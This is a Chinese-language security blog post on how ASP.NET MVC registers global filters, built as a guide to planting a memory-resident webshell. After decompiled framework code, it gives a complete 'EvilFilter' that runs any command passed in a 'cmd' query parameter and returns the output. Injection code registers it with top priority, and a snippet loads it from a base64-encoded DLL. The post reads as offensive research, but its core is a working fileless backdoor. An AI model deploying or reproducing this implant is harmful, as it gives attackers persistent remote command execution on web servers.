Net MVC内存马
Net MVC内存马
前言
在浏览论坛时候看到几篇关于Net 内存马的文章,引发我的好奇心,随手调了一下。
结构分析
按照Java内存马的思路,来跟踪NET中的Filter注册流程。
创建了一个mvc项目看到MvcApplication类中
namespace WebApplication3
{
public class MvcApplication : System.Web.HttpApplication
{
protected void Application_Start()
{
AreaRegistration.RegisterAllAreas();
FilterConfig.RegisterGlobalFilters(GlobalFilters.Filters);
RouteConfig.RegisterRoutes(RouteTable.Routes);
BundleConfig.RegisterBundles(BundleTable.Bundles);
}
}
}
在MvcApplication
中会FilterConfig
加载进来。
而FilterConfig
类中配置了所有需要加载的Filter。
通过GlobalFilterCollection
的Add方法进行将filter对象进行添加。
namespace System.Web.Mvc
{
//
// 摘要:
// 表示一个包含所有全局筛选器的类。
public sealed class GlobalFilterCollection : IEnumerable<Filter>, IEnumerable, IFilterProvider
{
//
// 摘要:
// 初始化 System.Web.Mvc.GlobalFilterCollection 类的新实例。
public GlobalFilterCollection();
//
// 摘要:
// 获取全局筛选器集合中的筛选器数目。
//
// 返回结果:
// 全局筛选器集合中的筛选器数目。
public int Count { get; }
//
// 摘要:
// 向全局筛选器集合添加指定筛选器。
//
// 参数:
// filter:
// 筛选器。
public void Add(object filter);
//
// 摘要:
// 使用指定的筛选器运行顺序向全局筛选器集合添加指定筛选器。
//
// 参数:
// filter:
// 筛选器。
//
// order:
// 筛选器运行顺序。
public void Add(object filter, int order);
//
// 摘要:
// 从全局筛选器集合删除所有筛选器。
public void Clear();
//
// 摘要:
// 确定某筛选器是否在全局筛选器集合中。
//
// 参数:
// filter:
// 筛选器。
//
// 返回结果:
// 如果在全局筛选器集合中找到 filter,则为 true;否则为 false。
public bool Contains(object filter);
//
// 摘要:
// 返回循环访问全局筛选器集合的枚举器。
//
// 返回结果:
// 循环访问全局筛选器集合的枚举器。
public IEnumerator<Filter> GetEnumerator();
//
// 摘要:
// 删除与指定筛选器匹配的所有筛选器。
//
// 参数:
// filter:
// 要删除的筛选器。
public void Remove(object filter);
}
}
其中有2个add方法,两个参数的方法,第二个参数是设置Filter的执行优先级。
首先让我们看FilterProviders.cs,该类为Filter提供注册点
using System;
namespace System.Web.Mvc
{
// Token: 0x020000C6 RID: 198
public static class FilterProviders
{
// Token: 0x06000533 RID: 1331 RVA: 0x0000E9D4 File Offset: 0x0000CBD4
static FilterProviders()
{
FilterProviders.Providers.Add(GlobalFilters.Filters);
FilterProviders.Providers.Add(new FilterAttributeFilterProvider());
FilterProviders.Providers.Add(new ControllerInstanceFilterProvider());
}
public static FilterProviderCollection Providers { get; private set; } = new FilterProviderCollection();
}
}
FilterAttributeFilterProvider
代码
namespace System.Web.Mvc
{
// Token: 0x020000C3 RID: 195
public class FilterAttributeFilterProvider : IFilterProvider
{
// Token: 0x06000520 RID: 1312 RVA: 0x0000E489 File Offset: 0x0000C689
public FilterAttributeFilterProvider() : this(true)
{
}
// Token: 0x06000521 RID: 1313 RVA: 0x0000E492 File Offset: 0x0000C692
public FilterAttributeFilterProvider(bool cacheAttributeInstances)
{
this._cacheAttributeInstances = cacheAttributeInstances;
}
// Token: 0x06000522 RID: 1314 RVA: 0x0000E4A1 File Offset: 0x0000C6A1
protected virtual IEnumerable<FilterAttribute> GetActionAttributes(ControllerContext controllerContext, ActionDescriptor actionDescriptor)
{
return actionDescriptor.GetFilterAttributes(this._cacheAttributeInstances);
}
// Token: 0x06000523 RID: 1315 RVA: 0x0000E4AF File Offset: 0x0000C6AF
protected virtual IEnumerable<FilterAttribute> GetControllerAttributes(ControllerContext controllerContext, ActionDescriptor actionDescriptor)
{
return actionDescriptor.ControllerDescriptor.GetFilterAttributes(this._cacheAttributeInstances);
}
// Token: 0x06000524 RID: 1316 RVA: 0x0000E770 File Offset: 0x0000C970
public virtual IEnumerable<Filter> GetFilters(ControllerContext controllerContext, ActionDescriptor actionDescriptor)
{
if (controllerContext.Controller != null)
{
foreach (FilterAttribute attr in this.GetControllerAttributes(controllerContext, actionDescriptor))
{
yield return new Filter(attr, FilterScope.Controller, null);
}
foreach (FilterAttribute attr2 in this.GetActionAttributes(controllerContext, actionDescriptor))
{
yield return new Filter(attr2, FilterScope.Action, null);
}
}
yield break;
}
// Token: 0x04000164 RID: 356
private readonly bool _cacheAttributeInstances;
}
}
该类中有几个方法分别获取Filter、Controller、Action等特性集合
public IEnumerable<Filter> GetFilters(ControllerContext controllerContext, ActionDescriptor actionDescriptor)
{
if (controllerContext == null)
{
throw new ArgumentNullException("controllerContext");
}
if (actionDescriptor == null)
{
throw new ArgumentNullException("actionDescriptor");
}
IFilterProvider[] combinedItems = this.CombinedItems;
List<Filter> list = new List<Filter>();
foreach (IFilterProvider filterProvider in combinedItems)
{
foreach (Filter item in filterProvider.GetFilters(controllerContext, actionDescriptor))
{
list.Add(item);
}
}
list.Sort(FilterProviderCollection._filterComparer);
if (list.Count > 1)
{
FilterProviderCollection.RemoveDuplicates(list);
}
return list;
}
遍历combinedItems
值获取IFilterProvider
接口实例化对象,调用list.Sort
进行排序
System.Web.Mvc.FilterProviderCollection$FilterComparer
类
private class FilterComparer : IComparer<Filter>
{
// Token: 0x06000531 RID: 1329 RVA: 0x0000E96C File Offset: 0x0000CB6C
public int Compare(Filter x, Filter y)
{
if (x == null && y == null)
{
return 0;
}
if (x == null)
{
return -1;
}
if (y == null)
{
return 1;
}
if (x.Order < y.Order)
{
return -1;
}
if (x.Order > y.Order)
{
return 1;
}
if (x.Scope < y.Scope)
{
return -1;
}
if (x.Scope > y.Scope)
{
return 1;
}
return 0;
}
对比2个Filter的Order值和Scope值。
可见先调用的IAuthorizationFilter.OnAuthorization
可见IAuthorizationFilter
优先级要高一些
//IAuthorizationFilter调用
AuthorizationContext authContext = InvokeAuthorizationFilters(controllerContext, filterInfo.AuthorizationFilters, actionDescriptor)
//IActionFilter调用
ActionExecutedContext postActionContext = InvokeActionMethodWithFilters(controllerContext, filterInfo.ActionFilters, actionDescriptor, parameters);
//IResultFilter调用
InvokeActionResultWithFilters(controllerContext, filterInfo.ResultFilters, postActionContext.Result);
//IExceptionFilter调用
ExceptionContext exceptionContext = InvokeExceptionFilters(controllerContext, filterInfo.ExceptionFilters, ex);
构造
与Java一直,继承IAuthorizationFilter
接口,在OnAuthorization
方法中构造马的内容。然后调用GlobalFilters.Filters.add
方法将继承IAuthorizationFilter
接口类的实例化对象也就是构造的内存马传递进去。
比较懒代码直接写到了Controller里面进行执行注入内存马。
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Web;
using System.Web.Mvc;
namespace WebApplication3.Controllers
{
public class HomeController : Controller
{
public ActionResult Index()
{
GlobalFilters.Filters.Add(new EvilFilter(), -2);
return View();
}
public class EvilFilter : IAuthorizationFilter
{
public void OnAuthorization(AuthorizationContext filterContext)
{
HttpRequestBase request = filterContext.HttpContext.Request;
HttpResponseBase response = filterContext.HttpContext.Response;
string cmd = request.QueryString["cmd"];
if (cmd != null)
{
Process process = new Process();
process.StartInfo.FileName = cmd;
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.Start();
byte[] data = Encoding.UTF8.GetBytes(process.StandardOutput.ReadToEnd() + process.StandardError.ReadToEnd());
response.Write(System.Text.Encoding.Default.GetString(data));
}
else
{
response.Write("null");
}
}
}
}
与Java一致 NET也可以将以上EvilFilter
这个恶意的Filter编译成dll,然后编码后进行加载。
System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String("Filter base64字符"));
assembly.CreateInstance(assembly.GetTypes()[0].FullName,)
但只能在mvc下使用,因为GlobalFilters
和IAuthorizationFilter
需要System.Web.Mvc.dll
依赖,在面对Webform的情况下无法使用。